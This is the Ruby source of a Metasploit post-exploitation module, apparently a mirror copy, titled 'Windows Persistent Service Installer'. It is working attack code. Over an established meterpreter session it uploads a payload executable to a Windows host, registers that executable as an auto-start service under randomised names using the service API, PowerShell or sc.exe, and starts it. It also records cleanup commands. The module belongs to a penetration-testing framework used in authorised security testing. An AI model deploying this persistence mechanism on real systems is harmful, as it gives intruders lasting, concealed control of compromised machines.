Files
metasploit-gs/modules/exploits/windows/persistence/service.rb
T
2025-11-17 19:02:54 -05:00

169 lines
6.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Windows::Services
include Msf::Post::File
include Msf::Post::Windows::Priv
include Post::Windows::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/persistence_service'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistent Service Installer',
'Description' => %q{
This Module will generate and upload an executable to a remote host.
It will create a new service which will start the payload whenever the service is running. Admin or system
privilege is required.
},
'License' => MSF_LICENSE,
'Author' => [
'Green-m <greenm.xxoo[at]gmail.com>', # original module
'h00die' # persistence updates
],
'Platform' => [ 'windows' ],
'Targets' => [['Windows', {}]],
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]
],
'DisclosureDate' => '2018-10-20',
'DefaultOptions' => {
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
},
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
]
)
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
rexename << '.exe' unless rexename.end_with?('.exe')
vprint_status('Compiling payload')
@dest_pathname = writable_dir + '\\' + rexename
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
write_file(@dest_pathname, exe)
print_good("Payload written to #{@dest_pathname}")
success = false
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
vprint_status('Attempting API method')
success = api_service
end
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
vprint_status('Attempting Powershell method')
success = powershell_service
end
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
vprint_status('Attempting sc.exe method')
sc_service
end
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
end
def powershell_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
service_builder = "New-Service -Name '#{@service_name}' "
service_builder << "-DisplayName '#{@service_dname}' "
service_builder << "-Description '#{@service_description}' "
service_builder << "-BinaryPathName '#{@dest_pathname}' "
service_builder << '-StartupType Automatic'
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
return false if resp.include?('Access is denied')
return false unless resp.include?('Stopped')
vprint_status("Service install response: #{resp}")
vprint_status('Starting service')
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
vprint_status("Service start response: #{resp}")
true
end
def sc_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
sc_cmd = "sc.exe create #{@service_name} "
sc_cmd << "binPath= \"#{@dest_pathname}\" "
sc_cmd << 'start= auto '
sc_cmd << "DisplayName= \"#{@service_dname}\""
resp = cmd_exec(sc_cmd)
return false if resp.include?('FAILED')
vprint_status("Service install response: #{resp}")
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
vprint_status('Starting service')
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
vprint_status("Service start response: #{resp}")
true
end
def api_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
resp = service_create(@service_name,
{
display: @service_dname,
path: @dest_pathname
})
return false unless resp == 0
vprint_status("Service install code: #{resp}")
vprint_status('Starting service')
vprint_status("Service start code: #{service_start(@service_name)}")
true
end
end